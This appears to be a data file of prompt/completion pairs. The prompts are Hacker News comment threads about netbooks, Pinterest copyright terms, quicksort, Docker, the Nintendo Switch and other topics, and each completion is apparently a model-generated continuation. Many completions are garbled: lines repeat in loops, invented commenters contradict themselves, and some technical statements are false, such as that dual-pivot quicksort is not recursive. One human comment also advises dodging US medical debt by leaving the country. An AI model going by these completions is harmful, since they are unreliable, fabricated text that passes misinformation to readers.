effect.\n\n~~~\nexergy\n> A new technology\n\nThis attitude in the general public is our death knell. The only, and I do\nmean ONLY, solution to not fucking up the environment beyond repair is the\nconcept of less.\n\nLess SUVs, less air travel, less fast fashion, less computer monitors, less\nphones replaced less quickly, less heating and cooling of our homes and more\ngetting acclimated to the climate, less fucking juiceros and interent\nconnected butt-plugs, less non-seasonal vegetables and meat, less eating of\nbeef and pork and chicken and more plants. Reduce.\n\nI love to quote idlewords on this all the time, but we as a species can't even\nhandle male pattern baldness. To somehow expect that"} +{"output_text": " the article, I'm not sure why the author chose to\nemphasize the \"death\" of the netbook.\n\n~~~\nbryanlarsen\nI think the author was trying to make a point about the death of the netbook\nas a concept.\n\n------\njrockway\nI think the author is confusing the \"netbook\" with the \"netbook-style\"\ncomputer. The netbook-style computer is a small, cheap computer that", "input_text": "\neditor does fine, or something light like Qt Designer. This is why I\nexplicitly added \"if you don't use eclipse\" :-) You have to be a bit creative\nwith resources, if you expect a full high-profile dev machine you're indeed\nnot well-off with a netbook.\n\nAnd indeed, finding one with decent battery life can be a bit of a challenge.\n\nAnd yes, $1000 versus $350 matters for a lot of people, we're not all silicon\nvalley rock stars. Also if you, for example, use the device in risky/dirty/etc\nenvironments, you'd usually want to settle with something easily replacable.\n\n------\nbryanlarsen\nNobody killed the netbooks. They aren't dead.\n\n[http://liliputing.com/2011/06/survey-netbooks-are-just-as-\npo...](http://liliputing.com/2011/06/survey-netbooks-are-just-as-popular-as-\ntablets-plenty-of-people-dont-care-at-all.html)\n\n[http://hardware.slashdot.org/story/11/06/24/0426232/Who-\nKill...](http://hardware.slashdot.org/story/11/06/24/0426232/Who-Killed-the-\nNetbook)\n\n~~~\nFilterJoe\nAgreed. After reading this post, I looked on Amazon and saw that a variety of\nEEE PC and Samsung netbooks are still for sale in the $200-$400 price range. I\nalso found that around 30 million netbooks are expected to be sold in 2011.\nNot dead.\n\nGiven the subject of"} +{"output_text": "am of\nthe crop' dictionary.\n\n~~~\njamesaguilar\nI think the point is that the dictionary is a good example of a product that\nisn't really a product. It's a service.\n\n~~~\npersonlurking\nI agree, but I think the point is that it's a product that is not a product.\n\n------\njamesaguilar\nI'm not sure I understand the point of this article. It seems to be", "input_text": "\ncwe\nSome video game companies still are:\n[http://www.theverge.com/2012/4/13/2947088/valve-reveals-\nsecr...](http://www.theverge.com/2012/4/13/2947088/valve-reveals-secret-\nhardware-project-wearable-computing)\n\n~~~\niamdave\nBy-and-large though, VALVe as a corporation is an outlier in virtually every\nsense from the rest of the gaming industry. They own 100% of their\ndistribution, they're a developer that distributes for other developers,\nthey're _immensely_ in-tune with their customers, their consistently open\nsupport of the modding community, user-vs-profit focused DRM...\n\nDespite the fact that VALVe makes games, they're unlike any other gaming\ncompany out there right now. The Minecraft team is a few iterations and\nportfolio additions away from that same tier.\n\n------\npersonlurking\nReminds me a bit of Slate's Lexicon Valley in their episode about Webster's\nThird (edition dictionary). It was to be the end of to end all as far as\nknowledgable authority goes. Want to know anything? Consult your trusty\ndictionary!\n\n[http://www.slate.com/articles/podcasts/lexicon_valley/2012/0...](http://www.slate.com/articles/podcasts/lexicon_valley/2012/03/lexicon_valley_webster_s_third_the_most_controversial_dictionary_ever_published_.html)\n\nedit: I believe it was Webster's Second that was supposed to be the 'cre"} +{"output_text": " books.\n\n _The amount of water that is the problem. There is no practical way to launch\nthe amount that is needed._\n\nThere is no practical way to launch the amount that is needed.\n\n~~~\njlgreco\nI am not spreading FUD. I am pointing out that the claims made by the\nproponents of the Moon are not supported by the facts.\n\nI am not spreading FUD. I am pointing out that the claims made by the", "input_text": "\nwill. It's the amount of water that is the problem. There is no practical way\nto launch the amount that is needed. And even once you launch it, it's so\nmassive that you'll have a really hard time getting to mars fast enough.\n\nI haven't run the numbers myself, but I've read works from people who have,\nand they say that it's not practical. Water is just too heavy.\n\nPS. For the moon, there is little reason to build up - dig under instead, and\nline the inside with weak, but airtight material.\n\n~~~\nstcredzero\n_That is simply not what all those articles I linked to said._\n\nYou're spreading pop-science FUD designed to create the exact misconceptions\nyou are spreading. Read the other side in Zubrin's books and articles. No big\nconspiracies, just people using fear of radiation to sensationalize articles\nand get more money out of our federal government.\n\n _The reason the high energy particles are more of a problem is because it's\nharder to shield from them_\n\nThere's less _need_ to shield from them.\n\n _Especially without the shielding becoming a problem in and off itself. Which\nis more or less what you said. So you agree that hiding during solar storms is\nnot enough._\n\nBy _not_ shielding the entire vessel, you can create a small booth with enough\nshielding to also absorb the secondaries. Again, this is well trodden\nterritory. Most public libraries have Zubrin's books. Read the other side, and\nyou will find that you have been fed incomplete pictures. Shielding the whole\ncraft is a straw man. Trying to give complete protection for initial explorers\nand colonists is overkill and FUD for selling"} +{"output_text": " Creative Commons license. You then post a few more\nphotos, and license them under the same license. You then post a few more\nphotos, and license them under the same license. You then post a few more\nphotos, and license them under the same license. You then post a few more\nphotos, and license them under the same license. You then post a few more\nphotos, and license them under the same license. You then post a few more\nphotos, and license", "input_text": "reproducing a low-\nresolution copy for reference\" to provide context.\n\nAnother aspect of fair use is \"not depriving the owner of their own commercial\nuse of the work\".\n\n------\nzaroth\nIf I'm a copyright holder who feels like my work is being misappropriated by\nPinterest, I'm going to sue Pinterest, not the user. Their Terms of Service\nwon't stop them from getting sued, and the indemnity clause won't magically\nmake money appear in their pockets to pay for their defense. If they decide to\nstart suing their users for recovery, that would be pretty amusing.\n\n\"I trusted the person who gave me the image\" is not a legal defense for\ncopyright infringement. Their only chance is to stay within the DMCA safe\nharbor or else they will eventually be shut down.\n\n~~~\nwpietri\nAs my lawyer explained to me long ago, who eventually \"wins\" a lawsuit is\nrarely interesting. Cost, time, and agony to get there are much more relevant\nfactors.\n\nThe \"our users represent that the content is theirs\" may not keep Pinterest\nfrom losing an eventual lawsuit, but it does complicate things enough that it\ndiscourages legal action. That may be sufficient for them to cash out long\nbefore the suits are complete.\n\nOr, like YouTube, things like that may allow them to grow big enough that they\nend up with sufficient negotiating power that they can get away with quite a\nbit, and possibly reshape what's considered reasonable.\n\n------\nnpsimons\nI think many are dismissing this as \"standard TOS/EULA legalese\" and missing\nthe point. Let's consider a scenario: let's say you post some photos online,\nand license them under the"} +{"output_text": " worst-case. The worst-case is O(n^2), but the\naverage-case is O(n log n).\n\n2\\. Quicksort is a recursive algorithm, so it's not surprising that it uses\nrecursion.\n\n3\\. The \"dual pivot quicksort\" is a different algorithm, which is not\nrecursive.\n\n4\\. The \"dual pivot quicksort\" is not the same as the \"dual pivot quicksort", "input_text": " a loss.\nThese could be the differences between your idea succeeding or disappearing.\n\n1\\. Another one of my common things I do at work is replacing quicksort\nimplemented using recursion with an iterative version so that the stack\ndoesn't keep getting blown on large datasets. I like it when people encounter\nthis problem and find out that stacks are finitely sized and not as big as\nthey'd hoped they would be. \"But that means...\" is a great thing to hear.\n\n~~~\nnadam\nI am not an expert of this, but:\n\n1\\. I think the stack usage of Quicksort is O(log(n)). Which means it is\nimpossible to blow up the stack unless your dataset is bigger than the number\nof atoms in the universe (but in that case how are you keeping it in memory?)\n\n2\\. For example in Java when you call Arrays.sort() this is called:\n\n[http://cr.openjdk.java.net/~alanb/6905046/webrev/src/share/c...](http://cr.openjdk.java.net/~alanb/6905046/webrev/src/share/classes/java/util/DualPivotQuicksort.java.html)\n\n(It apparently uses recursion)\n\nI know quicksort, but not on this level: these guys researched lots of\ndifferent quicksort implementations and optmized the hell out of it. This\nimplmenetation is way longer to begin with than my naive quicksort\nimplementation would be and is called 'dual pivot quicksort', which I did not\nhear about until now, despite I know how the traditional quicksort works.\n\n~~~\ngjm11\n1\\. It's average-case versus"} +{"output_text": " list of things that\nwe would not do.\n\nI was asked to add a \"Conscience Breaker\" for the UK. I was asked to add\n\"Conscience Breaker\" for the US.\n\nI was asked to add \"Conscience Breaker\" for the EU.\n\nI was asked to add \"Conscience Breaker\" for the world.\n\nI was asked to add \"Conscience Breaker\" for the UK.", "input_text": " suppressed and should probably not\nbe developed in this easy-to-use form.\n\nI believe what you really want to say is that nation states should develop all\nthose nefarious technologies in order to control their spreading, because\nsomeone (\"the opponent\") will invent and spread them anyway. That's indeed the\ntraditional rationale for MAD and the development of nerve gas, biological\nweapons, and hydrogen bombs. The problem with this argument is that anybody\ncan use it, the argument appears just as sound to North Korea than to the US,\nand is leading to a world-wide stockpiling of dangerous technologies. So there\nmust be something wrong with that argument, don't you think so?\n\n~~~\neiieirurjdndjd\n> That's indeed the traditional rationale for MAD and the development of nerve\n> gas, biological weapons, and hydrogen bombs. The problem with this argument\n> is that anybody can use it, the argument appears just as sound to North\n> Korea than to the US, and is leading to a world-wide stockpiling of\n> dangerous technologies.\n\nBut that\u2019s not what happened, right? I mean, it is if you stop reading history\njust before the first non-proliferation treaties began being implemented. This\nwas almost half a century ago, though, so IMO it doesn\u2019t make sense to stop\nreading at that point.\n\n~~~\nJohnStrangeII\nI agree. The solution to massive technological threats is mutual entanglement\nby treaties and international laws that limit or prohibit the development of\ndangerous technologies. That's my point.\n\n------\nlifeisstillgood\nMany (many) years ago, I was leading business planning for Demon / Thus and as\npart of our template introduced \"Conscience Breakers\" \\- a"} +{"output_text": " [https://www.chess.com/news/chess-\nclub-scoresheets-chess-comme...](https://www.chess.com/news/chess-club-\nscoresheets-chess-comme-chess-comme-chess-comme-chess-comme-chess-comme-chess-\ncomme-chess-comme-chess-comme-chess-com", "input_text": " prepared for an informal talk:\n[https://github.com/chesseye/chesseye/blob/master/presentatio...](https://github.com/chesseye/chesseye/blob/master/presentation/slides/slides.pdf)\n\nHope this helps! I always enjoy talking about these things, so feel free to\nreach out if you want to discuss it more.\n\n------\nAspos\nWould suggest using two cameras for stereo photogrammetry. Using mini-\nprojector to highlight clues would also be cool.\n\nI see a micro-projector with two cameras just 10 cm apart on a single tripod.\nWith stereo the tripod does not need to be that big for reliable detection.\n\n~~~\nyeldarb\nOoo cool idea!\n\nHave you seen Tilt Five? It\u2019s an AR headset that operates off a similar\nconcept. Instead of trying to figure out the passthrough optics they put\nprojectors in the glasses that reflect back at the viewer.\n\n[https://www.kickstarter.com/projects/tiltfive/holographic-\nta...](https://www.kickstarter.com/projects/tiltfive/holographic-tabletop-\ngaming)\n\n~~~\nAspos\nHaving to wear bulky glasses would ruin boardgames for me. But I see your\npoint.\n\n------\nbillforsternz\nThis is very cool. One very important application would be simply recording\ncompetitive games. There are electronic boards that can do this, and they are\nubiquitous at top level events. But they are infeasibly expensive. At our\nchess club one selfless and heroic volunteer inputs all the scoresheets into a\nPGN every week (shameless plug:"} +{"output_text": "\ncitation for them.\n\n~~~\ndfc\nI am not an apologist for the state. I am an apologist for the rule of law.\n\n~~~\npraxeologist\nYou are an apologist for the state. You are an apologist for the rule of law.\n\nYou are an apologist for the state. You are an apologist for the rule of law.\n\nYou are an apologist for the state. You are an apologist", "input_text": " spreading\nfrom the UN conflict zone.\n\nEducation matters, I was just mentioning the truth that all metrics have\nimproved besides schools. You can make of that what you want. There was no\nreal widespread schooling system before and there isn't one still. The UN-\nbacked Transitional Government is having a hard time keeping terrorist\nbombings out of Mogadishu, so it isn't anywhere near spreading schools around\nthe country.\n\n~~~\ndfc\nIs the 2007 blog post titled \"The Rule of Law without the State\" from a well\nknown libertarian organization your only source for these statistics?\n\n \n \n > verify any of these statistics yourself \n \n\nDo you define verify any of these statistics as 25% of these statistics?\nBecause I could only find the following on the CIA page. (The UNDP and the IMF\nlist Somalia as data deficient.)\n\n\\- Physicians per 100,000:4 (this is tenth lowest and FYI the CIA uses per 1k)\n\n\\- Infant mortality: 3rd highest 100 Afghanistan highest at 114.\n\n\\- Maternal morbidity: 1,000 3rd behind South Sudan (2,000) and Chad (1,100)\n\n\\- Sanitation Down to 23%\n\n~~~\npraxeologist\n>Is the 2007 blog post titled \"The Rule of Law without the State\" from a well\nknown libertarian organization your only source for these statistics?\n\nThe article is using the following sources as mentioned therein: \"statistical\ndata from the United Nations Development Project, World Bank, CIA, and World\nHealth Organization\"\n\nYou obviously have some sort of state apologist agenda by your intellectually\ndishonest statements here.\n\nIf you are going to start spitting out statistics, you better provide a"} +{"output_text": " thinking?\n\n~~~\njacquesm\nThat's a good point, but I'm not sure that it applies to the US.\n\nI'm not sure that the US has a good track record when it comes to collecting\ndebts from foreigners.\n\n~~~\nArizhel\nI'm not sure that it applies to the US, but I'm sure that it applies to\ncountries that have a good track record when it comes to collecting debts from\nforeigners.", "input_text": " paraplegic IIRC.\n\n------\njoegosse\nInteresting that the overall advice here is \"Don't Panic\"\n\nAlso interesting that having a towel could be incredibly useful in this\nsituation.\n\n~~~\ngeophile\nSince we're quoting Doug Adams: \u201cThe Guide says there is an art to flying\",\nsaid Ford, \"or rather a knack. The knack lies in learning how to throw\nyourself at the ground and miss.\u201d\n\n------\ncromulent\nSomewhat relevant:\n\n[http://topgunbase.ws/i-flew-my-wingsuit-into-trees-and-\nwoke-...](http://topgunbase.ws/i-flew-my-wingsuit-into-trees-and-woke-up-in-a-\nhospital/)\n\n~~~\njacquesm\nOuch. Nice move for Americans to fly in France where healthcare is affordable.\nIf you did this in the US as a tourist you'd likely be broke for the rest of\nyour life.\n\n~~~\nArizhel\nMake sure to go back to your home country as fast as possible, and then just\nignore the bills. They'll have a very difficult time collecting on a debt in a\nforeign country. Don't come back to the US as a tourist after that.\n\nThis reminds me of college, where sometimes the police would come looking for\nstudents who were foreign nationals, because they had gotten credit cards and\nthen racked up huge balances buying stuff, but didn't bother paying the bill.\nWhen the creditors tried to have them served, it turned out they had already\ngraduated and left the country. Good luck getting some guy in Indonesia to pay\noff his US credit card balance. What were these creditors"} +{"output_text": " admit I'm not sure what the point of this is.\n\n~~~\nmatt4077\nIt's a joke.\n\n------\nmatt4077\nI'm not sure what the point of this is.\n\n~~~\nmatt4077\nI'm not sure what the point of this is.\n\n------\nmatt4077\nI'm not sure what the point of this is.\n\n------\nmatt4077\nI'm not sure what", "input_text": " or purely criminal matter.\n\n~~~\n6stringmerc\nHow is using Murder, the taking of another's life, in any way a suitable\nanalogy to Copying a file/song/film without permission? They're completely\ndifferent ballparks and to do so is a form of equivalency - more like\nequivocation, as I mentioned - because the harms are so drastically different.\nIt only takes one Murder to be convicted of a Criminal offense and sent to\nPrison - there is a significantly higher bar[1] before Copyright Infringement\nis remotely similar to the nature of the reference point. I mean, I get the\nbasic underlying philosophy being argued but I disagree with it. Talking about\nCopyright and Murder in the same sentence, I will reiterate, is rhetorically\noff-base.\n\nA much more reasonable line of \"analogy\" (which it wasn't) would have been\ntalking about Theft and Copyright Infringement have disparate parameters on\nthe books, and therefore expose the over-reach of Copyright. I frequently\nsense that because I'm not \"pro-freedom\" in the definition of those who\ndisagree with me that I'm somehow on the other side. I'm most definitely not\nand it is quite tiring to feel such derision when I'm not a Partisan - I'm a\ngoddamn Independent.\n\n[1] [http://www.dslreports.com/shownews/Piracy-Puts-People-in-\nPri...](http://www.dslreports.com/shownews/Piracy-Puts-People-in-Prison-92460)\n\n \nXeer - mazsa\nhttps://en.wikipedia.org/wiki/Xeer\n======\ncup\nI must"} +{"output_text": " cancelled, I'm not sure if it's a good idea to start a new\nproject.\n\nI mean, if you're going to start a new project, you should start it with the\nintention of finishing it. If you're going to start a new project, you should\nstart it with the intention of finishing it. If you're going to start a new\nproject, you should start it with the intention of finishing it. If you're\ngoing to start a new", "input_text": " is\nthat there will be many ancient software systems that have been debugged to\nnear absolute stability over the centuries. Sure new software will be written,\nbut I bet there will be many very old and stable systems that will see little\nchange.\n\n~~~\nlispm\nWouldn't it be nice when Emacs would not be blocked when some Lisp routine\nruns?\n\nLots of people have written excellent code for GNU Emacs, but the\nimplementation runtime hasn't improved that much.\n\n~~~\ne40\n_Wouldn 't it be nice when Emacs would not be blocked when some Lisp routine\nruns?_\n\nYes, it would be nice, but can you imagine the bugs that will happen while\neveryone works out the details of how to do it properly?\n\n~~~\ntaylanub\nEven in the current pre-alpha/alpha stage of Guile-Emacs, I can launch a\nthread from Scheme, do work, return to the main thread, then call an Elisp\nfunction on my result. (Scheme and Elisp data types are unified.) No bugs or\nunpleasant details there.\n\nCalling Elisp functions and accessing Emacs data types (buffers, windows) from\nmultiple threads is another issue; if you don't want to bother with it then\ndon't; you still get all the other benefits of being on Guile. (Calling to\n_any_ Guile module agnostically as if it were an Elisp library (including,\nsay, Guile's OpenGL module), having an FFI, getting JIT or AOT native\ncompilation in the future, etc.)\n\n------\nyason\nGiven all the reworks of software projects that have a) been started b) then\ndelayed c) then"} +{"output_text": " that you are from Pakistan.\n\n~~~\nmatt4077\nI think you're missing the point.\n\nThe article is about the probability of a given country being the birthplace\nof a given person.\n\nThe probability of a given person being born in a given country is not\nsomething that can be calculated.\n\n~~~\nzby\nI think you are right. I was thinking about the probability of a given person\nbeing born in a given country.\n", "input_text": " there a reason that other (alien) elements can't exist that\nwe've never been exposed to?\n\n~~~\nAnalog24\nThe structure of elements/atoms is well understood based on their subatomic\nconstituents. Naively, you might think that can you just keep combining\nincreasingly larger numbers of electrons, protons, and neutrons to create new\nelements. However, the stability of an atom becomes problematic when the size\nof the nucleus approaches the interaction length of the strong force (i.e. the\nnucleus is too large for the strong force to hold it together). These elements\nare unstable and therefor not relevant as far as organic chemistry is\nconcerned.\n\nFurthermore, the formation of elements in the Universe is also a fairly well\nunderstood process. For elements lighter than Fe it generally occurs through\nnuclear fusion in the center of stars. For elements larger than Fe it\ngenerally occurs through the r-process and s-process. With these we can model\nnucleosynthesis extremely well and it gives us a very good idea of the\nelemental composition of the Universe. That being said, there could be some\ncrazy unknown element out there but it would contradict almost everything know\nabout atomic physics.\n\n~~~\nnknezek\nGood answer, but I think you mean Fe, not Pb.\n\n~~~\nAnalog24\nGood catch! It has been corrected in my comment.\n\n------\nzby\nSo they do something like this: Let's choose a human in random - he is more\nprobable to be from Pakistan than from Slovakia. (OK) Now let's choose a\ncountry - now an average country like Slovakia is more probable than a country\nas big as Pakistan. (OK)\n\nSo if you are a human - then it is most probable"} +{"output_text": " teaches) is\nwidely disputed. The Oxford English Dictionary (OED) defines a professor as\n\"a person who has been awarded a doctorate or a similar degree, and who is\nusually employed in a university or college as a teacher of one or more\nsubjects.\"_\n\nThe definition for \"scholar\" from the same source:\n\n _The Oxford English Dictionary (OED) defines a scholar as \"a person who has\nbeen awarded a doctorate or a", "input_text": " link I listed at FactCheck.org\nalso asserts is true.\n\nOxford Dictionary (First Definition):\n\nscholar (schol\u00b7ar): a specialist in a particular branch of study, _especially\nthe humanities_ ; a distinguished academic\n\nFrom the UC Law School statement at FactCheck.org:\n\n\"Senior Lecturers are considered to be members of the Law School faculty and\nare _regarded as professors_, although not full-time or tenure-track... Like\nObama, each of the Law School's Senior Lecturers have high-demand careers in\npolitics or public service, which prevent full-time teaching. Several times\nduring his 12 years as a professor in the Law School, Obama was invited to\njoin the faculty in a full-time tenure-track position, but he declined.\"\n\n~~~\nanamax\n>>The claim was that he was a constitutional law scholar, not that he was a\nprofessor. While there are overlaps between the two groups, neither one is a\nsubset of the other.\n\n>You're kidding, right?\n\nNot at all. I have reasonably high standards for scholars.\n\nFor example, even though the degree is \"Juris Doctor\", I don't call lawyers\n\"Dr.\". (However, I will call them \"Esquire\".)\n\nMeanwhile, you'd call a 6th grade history teacher a \"scholar\" if they teach\nsome constitution....\n\n~~~\njeromec\n_Not at all. I have reasonably high standards for scholars._\n\nThis is not about you. It's about the definition in the dictionary. It has as\na primary entry for scholar \"a distinguished academic\".\n\nThe definition for \"professor\" from Wikipedia:\n\n _The meaning of the word professor (Latin: professor, person who"} +{"output_text": "------\njoshu\nI'm not sure I understand the point of this.\n\nI have a bunch of servers that I run docker on. I don't have a bunch of\nservers that I run docker on.\n\n~~~\njoshu\nI guess I should clarify. I have a bunch of servers that I run docker on. I\ndon't have a bunch of servers that I run docker on.\n\n------\njoshu\nI'm not sure", "input_text": " \"old\"\nthough; the latest release was in March.\n\n~~~\nnjharman\nFair enough. But the mentality that picks stable over up-to-date tends to\nnever upgrade. I'm stuck supporting rhel5.5, our \"new\" systems are 6.5\n\n------\nallan_s\nour use case for docker is the following:\n\nwe're a webshop, and recently we've standardized our stack on\nsymfony2/nginx/postgresql, so all our websites use that. but beside of that we\nhave some that we maintain that need to run on old version of php/centos.\n\nAs we have only 1 server internally for pre-staging environments, docker does\nhelp us to save a lot of memory/cpu compare to what we had before (virtualbox,\nyes...), without needing a lot of machine to setup (like openstack).\n\nAlso we don't really have a guy dedicated to sysadmin, so the less time we\nneed to spent on server administration, the better we feel. So we have a set\nof 3 containers (for symfony+php_fpm / postgresql / nginx ) that already tuned\nto meet our needs, with a ansible playbook [https://github.com/allan-\nsimon/ansible-docker-symfony2-vagra...](https://github.com/allan-\nsimon/ansible-docker-symfony2-vagrant/), that we reuse for every new project\nwe have. So that the developers can have a working stack, without needing to\nreinvent the wheel, they even don't need any knowledge of system adminstration\n\"run this ansible command, done\"! without any risk to break other services.\n\n"} +{"output_text": " agree with this. I think the Switch is a great portable device\nand I would love to have one. I think it is a great device for the home, but\nit is not a home console.\n\n~~~\nmatt4077\nI'm in the US, and I'm not sure if it's just me, but I've never seen a\nTarget/Walmart/etc. open at 1am.\n\n~~~\nThatPlayer\nI'm in the US too", "input_text": ", but snapped onto the\ncontroller shell you forget it isn't just a regular controller. Very cool.\n\nThe hardware though? It makes me nervous. I get at $300 and what Nintendo was\ngoing for you don't have much of an alternative. Maybe I'm spoiled but 900p\nupscaled at 30 fps with drops when docked feels wrong in 2017. The game (BotW)\nis beautiful and controls wonderfully but the lag is noticeable at times for\nme and the lack of fluidity hurts the experience. Oddly enough playing at 720p\nundocked isn't slow at all and on the small screen looks great. I kind of\ndrool at the thought of this upscaled to 4k at 60fps and that and it wouldn't\nbe hard on modern hardware. Maybe a remaster or emulator?\n\nIt very much feels like a mobile device you can dock versus a home console you\ncan take with you. Just not sure how much headroom is in the hardware to make\nthis last for three or four years without major compromises.\n\nDoes anyone else have an impression?\n\n~~~\nThatPlayer\nI scoped out my local Target at 1 am and there were 5 people in line and maybe\na few more waiting in cars. Came back at 7:30am before the 8am opening and got\na voucher for about 40 out of 60 Switches. I think it could just be a smaller\nthing because most people expect the midnight launches, and people have work\nat 8am. The midnight launch at my local Fry's sold out of their 90 Switches.\nOr maybe it is your location as I am in Los Angeles County.\n\n>It very much feels like a mobile device you can dock versus a home console\nyou can take with you.\n\nI definitely"} +{"output_text": "environment is worth more than the money.\n\n~~~\nmalvosenior\nI'm not saying it's not true. I'm saying it's not the reason.\n\n------\njasonkester\nI've been in a few places where the culture was so toxic that I left.\n\nThe first time was a place where I was working on a project that was\nessentially a \"me too\" clone of a product that was already in the market.\n\nThe", "input_text": " how they\n> want others to react rather than based on what they really think.\n\nTo know what others think and desire requires empathy. To counter B.S you have\nto do 2 things. Get to know yourself to create a carapace based on values that\nprotects you, and get to know others, so you know the true reason why they\nwant something from you. When these don't match (or don't match the proclaimed\ncompany values), this is the definition of B.S\n\nIf your values, their values and the company values match, then we can hardly\ncall it B.S - and don't forget changing values and raising from naivet\u00e9 is\npart of growth. It's ok to feel today you \"gotta give 110%\" then later realize\nthis doesn't align with your life moment.\n\n------\nmalvosenior\nAnything related to the \"culture\" of the workplace. The higher ups are raking\nin tons of money. That's it. That's why they are doing what they do. \"Culture\"\nis to keep the workers entertained while the execs scoop up all the cash.\n\n~~~\nmaxehmookau\nnah, I don't buy this.\n\nIn a large company, most people _aren't_ making the big bucks and don't do it\nto make a fortune. They do it to make a living.\n\nThe \"culture\" of a place, especially at a bootstrapped startup where the\nhigher ups _aren't_ raking in the big bucks is a huge draw to someone _where\nmoney is not the main reason for taking a job_.\n\nFor me, I'm paid well (probably 60th percentile for my location/position) but\nthe flexibility I get from my employer which cultivates a nice culture and\n"} +{"output_text": "'s a joke.\n\n------\njosteink\n> _The problem is that the CPU is not designed to do this. It\u2019s designed to\n> do integer math, and it\u2019s not designed to do floating point math. It\u2019s\n> designed to do integer math, and it\u2019s not designed to do floating point\n> math._\n\nI'm not sure I understand this.\n\nIntel CPUs are designed to do integer math. They are", "input_text": "\nbuiltin CRC32 over the wrong polynomial, Pascal calling convention support,\nbinary-coded decimal, high halves of 16-bit registers, MMX overlap with x87\nfloating point, etc. etc.\n\n~~~\nq3k\nRight, but most of these are just past crimes^W^Wlegacy that Intel has to deal\nwith in the name of backwards compatibility.\n\n~~~\nKlathmon\n>most of these are just past crimes^W^Wlegacy\n\nThis is completely off topic, but I've seen things like the \"^W^W\" a few times\nbefore, and I don't know what it means.\n\nIs this a weird encoding mismatch thing? is it from some editor/system that\npeople instinctively type? Is it from some other forum which has a strange\nmarkup syntax for something?\n\n~~~\nq3k\nEmacs/readline bindings for Delete Word. Open up a bash shell, type in `foo\nbar baz`, then press ctrl-W twice.\n\n'^W' is what would appear instead if you weren't in a readline/emacs editor,\nbut instead a dumb line terminal. Thus, leaving '^W' behind makes it look like\nyou didn't realize what you just corrected is still visible.\n\nIt's a joke. I've now explained and ruined it.\n\n~~~\nbluedino\nSlashdot posters would use ^H^H in their posts (backspace)\n\n~~~\nlscotte\nIt goes back way further than that - probably to the dawn of IRC or so.\n\n~~~\npjscott\nI believe it dates back to the unix talk(1) program, quite a bit earlier than\nIRC.\n\n~~~\nTheCondor\nIt"} +{"output_text": " no way to avoid this.\n\n~~~\njlgreco\nI think you are missing the point.\n\nThe point is that the terms are _not_ the problem. The problem is that the\nterms are _not_ being enforced.\n\nIf the terms were enforced, then the problem would be solved.\n\n~~~\npork\nI think you're missing the point.\n\nThe point is that the terms are _not_ the problem. The problem is", "input_text": " ToS said\nhe'd released his rights, demonstrates this is not a \"please not again\"\nproblem, this is ongoing, big corps are misusing these at the expense of\nindividual artists, and the problem's getting worse.\n\nEvery day I talk to artists who have no idea that posting their latest music\nvideo to a video sharing site could give that company performance rights in\nother media, or, as in this case, that pinning their own photos to Pinterest\nwould let Pinterest publish a \"Best Pins of 2012\" book w/o compensating the\nartist.\n\nThis needs to be called out and both consumers and creators deserve to be\ninformed.\n\n~~~\npork\nLet me rephrase GP's comment, since I felt the same thing as them. Allow me to\nset out a hypothetical.\n\nYou find that Pinterest's terms are awful, and stage a very successful revolt\nwith your own site, sans the offensive terms. Users flock to your site, and\nPinterest dies a sad death. One of the copyright owners of your \"pinned\"\ncontent decides to go after you, and decides to sue the pants off you. So you\nfreak out and hire a top-notch lawyer, who will draft a new set of terms for\nyour users to shield you from the liability you now realize you have.\n\nRepeat, iterate, and before you know it -- your top-notch lawyer guarantees\nthat you will face no more expensive liability, but you now have the onerous\nterms set out in practically all sites that allow user-generated content.\n\nBasically, these terms allow you to bump the liability from yourself to the\nuser who uploaded it (because they have pinned the pictures in bad faith, in\nviolation of your terms, etc.)\n\nSo there's really"} +{"output_text": " it.\n\n~~~\nmatt4077\nI think the problem is that the trolley problem is not a real problem.\n\nThe problem is that we have a society that is built on the idea that we are\nall equal, and that we are all entitled to the same rights.\n\nThe problem is that we have a society that is built on the idea that we are\nall equal, and that we are all entitled to the same rights.\n\nThe problem", "input_text": " It would be quite remarkable to somehow\nviolate the way things are. Next time you see someone do something \"wrong,\" or\n\"bad,\" or \"unethical,\" please try to use your senses to observe the \"bad\" or\n\"problem\" in the situation. Where is it? I'd love to see a picture of a real\nviolation of nature, a real problem.\n\nTo your second question, such things are annoying to me because it is my\nnature to be annoyed by ignorance. Many humans are naturally compelled to seek\nunderstanding. There is nothing wrong with ignorance; it's just my nature to\nfind it annoying.\n\nAlso, downvoting my comments doesn't make them incorrect.\n\n------\nmichaelmrose\nThe trolley problem conflates too independent issues in a very artificial set\nof circumstances.\n\nWhether we are willing or required to make a utilitarian moral judgment and\nwhether we have the right to do so.\n\nIn a real life trolley problem on the battlefield or in the hospital the\ncommanding officer or doctor has been invested by society with his/her\nposition and is expected to do hypothetically the best thing for his\npatients/soldiers. He has both the power and the right. I'm aware the military\nsituation is a LOT murkier but lets not over complicate.\n\nIt seems to me that many are conflicted over their right to take power over\nother peoples lives and the expected benefit. Note how most feel that you are\nrequired to switch the trolley when nobody would be harmed on the other track.\nMost feel it unacceptable to take responsibility for choosing which party to\ndie in a one to one switch but find sacrificing one for 5 at least acceptable\nas the benefit mounts it becomes harder to be squeamish about"} +{"output_text": " netbook is just too slow for that.\n\n~~~\nrheide\nI agree that the iPad is a better choice for remote connectivity. I just\nprefer the netbook for travel.\n\n------\njrockway\nI don't think the iPad is a good choice for travel. It's too big, and it's\ntoo heavy. I have a netbook, and I carry it around with me everywhere. It's\nsmall, light, and has a battery", "input_text": " install the software.\n\nBesides the considerations of HOW to get an app into apt-get - what if you\nwant to charge for it? Apt-get simply wasn't designed to distribute paid\nsoftware and you'd have to implement all the missing pieces yourself (account\nmanagement, payment processing, license management, in-app\npurchases/upgrades). Doing this per-app is no better than the current\nsituation in Windows from a developer POV. Adding this functionality to some\nderivative of apt-get, on the other hand, is HARD - besides the technical\nchallenges, you'd have to overcome legal issues with taking payments in a\nvariety of jurisdictions with different regulations and tax laws.\n\n~~~\nbryanlarsen\nIt may have been hard, but Ubuntu's already done it. The Ubuntu Software\nCentre contains pay apps.\n\n------\nrheide\nI dare say that the netbook is not dead at all for people who travel a lot. I\nown an iPad and a very slow (WinXP) netbook myself, but I would prefer the\nnetbook over the iPad for travel any day. At least I have plenty of storage\nspace for my photos on my netbook and I can plug in whatever USB hardware I\nwant.\n\n~~~\nartmageddon\nAs I said in another comment, I use rail every day to and from work. For\ncoding, the netbook wins hands down. It runs a bare minimum WinXP setup(i.e.\nno virus scanner or loads of services to start up), so I get done what I need\nto. I'd much rather use it for photo processing / writing emails etc. also.\n\nOf course, once I start needing remote connectivity for work, I'll have to use\nthe iPad.. the"} +{"output_text": "\n\nI think you're right. I think the difference is that the people who go to\ncollege are more likely to be able to afford it.\n\nI think the difference is that 